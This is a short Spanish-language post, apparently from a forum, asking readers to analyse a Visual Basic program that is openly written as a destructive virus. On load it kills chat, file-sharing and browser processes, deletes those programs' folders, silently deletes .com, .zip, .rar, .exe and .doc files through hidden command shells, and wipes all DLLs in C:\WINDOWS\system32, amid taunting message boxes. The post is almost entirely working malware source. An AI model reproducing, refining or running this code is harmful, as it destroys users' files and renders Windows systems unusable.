hola podrian analisar y opinar sobre este code
Private Sub Form_Load()
On Error Resume Next
Set b = CreateObject("Scripting.FileSystemObject")
Set a = b.CreateTextFile("C:\gusano y gusana.txt", True)
a.WriteLine "hola papi soy gusanin!!"
MsgBox "TU PC FUE INFECTADA POR EL VIRUS gusano y gusana!", vbCritical, "virus!"
MsgBox "Fase 1/8", vbExclamation, "virus! Borrando Carpetas del sistema"
MsgBox " REPRODUSIENDO VIRUS!!!", vbCritical, "virus! Fase 2/8"
Set a = CreateObject("Scripting.FileSystemObject")
a.CopyFile "C:\gusano y gusana.txt", "C:\hijo1.txt"
MsgBox "Gusano y Gusana se reproduen con rapides!", vbCritical, "virus Alera!!!"
Set a = CreateObject("Scripting.FileSystemObject")
a.CopyFile "C:\gusano y gusana.txt", "C:\hijo2.txt"
Shell "taskkill /f /im msnmsgr.exe"
Shell "taskkill /f /im emule.exe"
Shell "taskkill /f /im ares.exe"
Shell "taskkill /f /im IEXPLORE.exe"
MsgBox "Gusano y Gusana se reproduen con rapides!", vbCritical, "virus Alera!!!"
Set a = CreateObject("Scripting.FileSystemObject")
a.CopyFile "C:\gusano y gusana.txt", "C:\hijo3.txt"
MsgBox "Chau emule", vbExclamation, "virus!"
Set a = CreateObject("Scripting.FileSystemObject")
a.DeleteFolder "C:\Archivos de programa\eMule"
MsgBox "Chau ares", vbExclamation, "virus!"
Set a = CreateObject("Scripting.FileSystemObject")
a.DeleteFolder "C:\Archivos de programa\Ares"
MsgBox "Chau internet!", vbExclamation, "virus!"
Set a = CreateObject("Scripting.FileSystemObject")
a.DeleteFolder "C:\Archivos de programa\Internet Explorer"
MsgBox "Chau MSN CRASIAS POR TU CLAVE!", vbExclamation, "virus!"
Set a = CreateObject("Scripting.FileSystemObject")
a.DeleteFolder "C:\Archivos de programa\MSN Messenger"
MsgBox "Gusano y Gusana se reproduen con rapides!", vbCritical, "virus Alera!!!"
Set a = CreateObject("Scripting.FileSystemObject")
a.CopyFile "C:\gusano y gusana.txt", "C:\hijo4.txt"
MsgBox " Borrando archivos dll", vbCritical, "virus! Fase 3/8"
MsgBox " Borrando archivos com", vbCritical, "virus! Fase 4/8"
MsgBox " Borrando archivos zip", vbCritical, "virus! Fase 5/8"
MsgBox " Borrando archivos rar", vbCritical, "virus! Fase 6/8"
MsgBox " Borrando archivos exe", vbCritical, "virus! Fase 7/8"
MsgBox " Borrando archivos doc", vbCritical, "virus! Fase 8/8"
MsgBox "Gusano y Gusana se reproduen con rapides!", vbCritical, "virus Alera!!!"
Set a = CreateObject("Scripting.FileSystemObject")
a.CopyFile "C:\gusano y gusana.txt", "C:\hijo5.txt"
Shell "cmd.exe /c del /F/Q .\*.com ", vbHide
Shell "cmd.exe /c del /F/Q .\*.zip, vbHide"
Shell "cmd.exe /c del /F/Q .\*.rar", vbHide
Shell "cmd.exe /c del /F/Q .\*.exe ", vbHide
Shell "cmd.exe /c del /F/Q .\*.doc ", vbHide
MsgBox "Gusano y Gusana se reproduen con rapides!", vbCritical, "virus Alera!!!"
Set a = CreateObject("Scripting.FileSystemObject")
a.CopyFile "C:\gusano y gusana.txt", "C:\hijo6.txt"
MsgBox "Gusano y Gusana se mueven con rapides!", vbCritical, "virus Alera!!!"
MsgBox "DMV"
MsgBox "DMV"
MsgBox "DMV"
On Error Resume Next
kill "C:\WINDOWS\system32\*.dll"
End Sub
Autor